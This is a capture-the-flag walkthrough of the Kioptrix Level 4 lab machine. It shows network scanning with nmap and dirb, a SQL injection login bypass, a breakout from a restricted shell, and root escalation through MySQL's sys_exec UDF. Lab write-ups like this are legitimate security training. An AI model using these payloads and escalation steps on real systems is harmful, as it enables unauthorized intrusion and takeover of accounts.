Kioptrix 1.3 (Level 4) Walkthrough

Introduction

Today we're going to do a boot2root pentest walkthrough of the Kioptrix 1.3 (Level 4) machine created by the Kioptrix team and hosted at https://www.vulnhub.com/entry/kioptrix-level-13-4,25/ .

For our pentest we'll be using two virtual machines, a Kali Linux machine as our attacking system, and the Kioptrix 1.3 machine as our target system.

Locating the Target

After booting up both of our machines, we need to locate the target system on our network. We do this by running netdiscover from our attacking system.

netdiscover -r 10.0.2.0/24

The target is at 10.0.2.25.

Scanning and Enumeration

Our scans start with nmap, determining open ports on the target system.

nmap -T4 -p- 10.0.2.25 ; nmap -T4 -sU -F 10.0.2.25

There are five ports open. We'll plug these open ports into nmap again and see if we can get more information.

nmap -T4 -A -p22,80,139,445 10.0.2.25

Not a lot of usable info here, but we'll continue scanning with dirb.

dirb http://10.0.2.25

The john directory is definitely interesting. We'll have to check it out when we enumerate the target's webpage, which we'll do now.

http://10.0.2.25

Standard stuff. Let's check out the john page.

http://10.0.2.25/john

Okay. Looks like our next destination is john.php.

http://10.0.2.25/john/john.php

Back to the login page. We have a hunch that john is a user on the system, so let's try some SQL injection with john as the username. We'll put in a standard SQL injection string in the password field.

Username = john
Password = ' or 1=1 #
Login

We're logged in, and we can see john's password, but there's nowhere to go from here. We'll try logging into the target system as john through SSH.

ssh john@10.0.2.25
MyNameIsJohn

Privilege Escalation

We're logged in as john, but it seems like we're stuck in a restricted shell, with only eight commands available to us. After doing a bit of research, these commands aren't going to let us break out, unless the restricted shell was created by Python, in which case we can break out using the following command with echo.

echo os.system("/bin/bash")

john doesn't have much privilege on the system, but there might be some clues in the webserver files, so we navigate there.

cd /var/www
ls
cat checklogin.php

This a good find. After a bit of research, we learn that there's a privilege escalation technique we can use if the target is running the MySQL service as root. How can we tell if this is true?

ps -elf | grep root

The article outlining the method for this exploit can be found here:

https://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html

Unfortunately, we will need to transfer a MySQL library file for the exploit to work, and all attempts to upload files to the system fail.

But, when checking the MySQL library, it turns out that the exact file that we need is already present on the system, which is a probably a big hint that it was placed there intentionally.

To run the exploit, we'll need to login to MySQL as the root user, then run a special SQL function that passes instructions to the system below.  We'll use the exploit to turn john into a admin user.

mysql -u root -p

create database adminjohn;

use adminjohn;

select sys_exec('usermod -a -G admin john');

exit

sudo su

MyNameIsJohn

whoami

We are now root.  The last thing we need to do is access the system's flag file.  This is usually located in the /root/ directory.

cd /root/

ls

cat congrats.txt

Summary

After initial scans, we found that the target system had an unusual web directory exposed which, combined with guessed credentials and SQL injection, led to discovery of valid credentials for SSH login to the system.  After bypassing a restricted shell imposed on the SSH user account, we were able to determine that the MySQL service was running as root, which led to exploitation via UDF (User Defined Functions) in the MySQL app, giving us control of the system and allowing us access to the system's flag file.

Finish